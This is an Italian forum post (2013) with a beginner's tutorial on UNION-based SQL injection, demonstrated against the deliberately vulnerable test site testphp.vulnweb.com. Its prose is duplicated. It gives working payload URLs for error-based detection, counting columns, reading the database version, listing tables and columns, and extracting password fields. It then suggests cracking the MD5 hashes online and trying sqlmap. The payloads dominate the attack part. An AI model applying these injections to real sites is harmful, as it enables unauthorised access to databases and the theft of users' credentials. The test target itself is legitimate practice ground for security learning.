27-03-2013, 10:22 PM
Ciao gente, da qualche giorno a questa parte dopo aver completato il mio ultimo sito un mio compagno di classe mi ha mostrato cosa poteva fare attraverlo le sql injection, così allora mi sono avventurato pure io in questa nuova avventura. Premetto che non sono un esperto, per cui ieri ho dato anche qualche nozione a @[~SilverNik], ma comunque sia cominciamo..
Tutti i test legali, possibili e immaginabili sulle iniezioni le faremo su: http://testphp.vulnweb.com/index.php ovvero un sito nato appositamente per questo.
Dato che non sono un esperto vi elenco degli utili comandi che utilizzo per scoprire le tabelle e poi i loro records. Cominciamo!
Il modo più semplice per vedere se un sito ha delle falle è utilizzare l'apice " ' ", applichiamolo dopo il target dato dall'url php.
Se da un qualsiasi tipo di errore, vuol dire che il sito è attaccabile, adesso scopriamo quante colonne possiede il db utilizzando questo codice:
vi è il numero due poichè se c'è un db e non ci sono errori la prima colonna c'è per forza, di conseguenza testiamo con 3,4,5 etc..
Ho gia svolto io il lavoro per voi e vi dico che ci sono 11 colonne, per cui adesso controlliamo la versione di sql scrivendo:
una volta trovato possiamo passare al controllo dei campi.
Per passare ai records, dobbiamo conoscere la struttura della tabella e dei suoi campi per cui scriviamo:
adesso avrete una vasta lista, prendete il nome della tabelle che volete controllare e scrivete:
.
Adesso miei piccoli hackers siamo giunti al termine, leggiamo il campo che cercavamo:
Fatto ciò il sito vi restituirà automaticamente il dato cercato, spesso sono crittografati in MD5, per cui basta andare qui(http://md5-hash-online.waraxe.us/) e decrittografare.
Ci sono diversi altri metodi per eseguire le famose sql injection, io vi ho presentato il più semplice però chi vuole continuare a giochicchiarci provi sqlmap, farete tutto tramite shell, il divertimento è assicurato.
Tutti i test legali, possibili e immaginabili sulle iniezioni le faremo su: http://testphp.vulnweb.com/index.php ovvero un sito nato appositamente per questo.
Dato che non sono un esperto vi elenco degli utili comandi che utilizzo per scoprire le tabelle e poi i loro records. Cominciamo!
Il modo più semplice per vedere se un sito ha delle falle è utilizzare l'apice " ' ", applichiamolo dopo il target dato dall'url php.
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1'
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 order by 2--
Ho gia svolto io il lavoro per voi e vi dico che ci sono 11 colonne, per cui adesso controlliamo la versione di sql scrivendo:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,@@version,3,4,5,6,7,8,9,10,11--
Per passare ai records, dobbiamo conoscere la struttura della tabella e dei suoi campi per cui scriviamo:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,table_name,3,4,5,6,7,8,9,10,11 FROM information_schema.tables--
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns where table_name="qui_metto_il_nome_della_tabella"--
Adesso miei piccoli hackers siamo giunti al termine, leggiamo il campo che cercavamo:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,nome_del_campo_per_esempio:password,3,4,5,6,7,8,9,10,11 FROM nometabella--
Ci sono diversi altri metodi per eseguire le famose sql injection, io vi ho presentato il più semplice però chi vuole continuare a giochicchiarci provi sqlmap, farete tutto tramite shell, il divertimento è assicurato.